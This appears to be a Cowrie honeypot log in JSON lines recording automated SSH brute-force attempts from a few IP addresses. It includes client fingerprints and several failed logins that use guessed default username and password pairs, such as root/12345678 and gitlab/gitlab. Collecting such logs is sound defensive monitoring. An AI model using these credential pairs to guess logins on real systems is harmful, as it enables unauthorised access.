{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36764,"dst_ip":"10.17.0.5","dst_port":22,"session":"e72ffe8cf432","protocol":"ssh","message":"New connection: 47.86.95.62:36764 (10.17.0.5:22) [session: e72ffe8cf432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:41.966254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:45.275961Z","src_ip":"47.86.95.62","session":"e72ffe8cf432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:45.281160Z","src_ip":"47.86.95.62","session":"e72ffe8cf432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:52.402998Z","src_ip":"47.86.95.62","session":"e72ffe8cf432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00207161903381,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:53.719677Z","src_ip":"187.222.242.146","session":"88a7dd2bc2e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00143480300903,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:53.743620Z","src_ip":"187.222.242.146","session":"d6c397b79a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:01:54.974043Z","src_ip":"47.86.95.62","session":"e72ffe8cf432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40454,"dst_ip":"10.17.0.5","dst_port":22,"session":"c18c8f5bbb4a","protocol":"ssh","message":"New connection: 47.86.95.62:40454 (10.17.0.5:22) [session: c18c8f5bbb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:02.546736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:02.551767Z","src_ip":"47.86.95.62","session":"c18c8f5bbb4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:02.767673Z","src_ip":"47.86.95.62","session":"c18c8f5bbb4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:03.606274Z","src_ip":"47.86.95.62","session":"c18c8f5bbb4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:04.828295Z","src_ip":"47.86.95.62","session":"c18c8f5bbb4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40462,"dst_ip":"10.17.0.5","dst_port":22,"session":"81aa1b674526","protocol":"ssh","message":"New connection: 47.86.95.62:40462 (10.17.0.5:22) [session: 81aa1b674526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:07.967540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:07.982569Z","src_ip":"47.86.95.62","session":"81aa1b674526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:08.192477Z","src_ip":"47.86.95.62","session":"81aa1b674526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:08.845124Z","src_ip":"47.86.95.62","session":"81aa1b674526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:10.057039Z","src_ip":"47.86.95.62","session":"81aa1b674526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58526,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3a5fc27971a","protocol":"ssh","message":"New connection: 47.86.95.62:58526 (10.17.0.5:22) [session: c3a5fc27971a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:12.803924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:12.808734Z","src_ip":"47.86.95.62","session":"c3a5fc27971a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:13.014194Z","src_ip":"47.86.95.62","session":"c3a5fc27971a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:29.783453Z","src_ip":"47.86.95.62","session":"c3a5fc27971a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:31.229789Z","src_ip":"47.86.95.62","session":"c3a5fc27971a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42614,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5f473bd1f5f","protocol":"ssh","message":"New connection: 47.86.95.62:42614 (10.17.0.5:22) [session: c5f473bd1f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:39.695167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:39.700355Z","src_ip":"47.86.95.62","session":"c5f473bd1f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:39.913482Z","src_ip":"47.86.95.62","session":"c5f473bd1f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:40.651215Z","src_ip":"47.86.95.62","session":"c5f473bd1f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:41.911984Z","src_ip":"47.86.95.62","session":"c5f473bd1f5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41444,"dst_ip":"10.17.0.5","dst_port":22,"session":"702f32e1c722","protocol":"ssh","message":"New connection: 47.86.95.62:41444 (10.17.0.5:22) [session: 702f32e1c722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:45.197618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:45.204238Z","src_ip":"47.86.95.62","session":"702f32e1c722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:45.412488Z","src_ip":"47.86.95.62","session":"702f32e1c722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:46.032630Z","src_ip":"47.86.95.62","session":"702f32e1c722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:47.241653Z","src_ip":"47.86.95.62","session":"702f32e1c722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41452,"dst_ip":"10.17.0.5","dst_port":22,"session":"271d53986957","protocol":"ssh","message":"New connection: 47.86.95.62:41452 (10.17.0.5:22) [session: 271d53986957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:49.731398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:49.735559Z","src_ip":"47.86.95.62","session":"271d53986957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:49.938532Z","src_ip":"47.86.95.62","session":"271d53986957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:50.548699Z","src_ip":"47.86.95.62","session":"271d53986957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:02:51.767437Z","src_ip":"47.86.95.62","session":"271d53986957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":38446,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0d0e96228ae","protocol":"ssh","message":"New connection: 45.148.10.157:38446 (159.203.135.109:22) [session: a0d0e96228ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:13.025635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:13.030738Z","src_ip":"45.148.10.157","session":"a0d0e96228ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:13.114883Z","src_ip":"45.148.10.157","session":"a0d0e96228ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:13.481555Z","src_ip":"45.148.10.157","session":"a0d0e96228ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":48044,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9b173bb0ed4","protocol":"ssh","message":"New connection: 47.86.95.62:48044 (10.17.0.5:22) [session: a9b173bb0ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:24.290652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:03:24.811154Z","src_ip":"47.86.95.62","session":"a9b173bb0ed4","protocol":"ssh"}
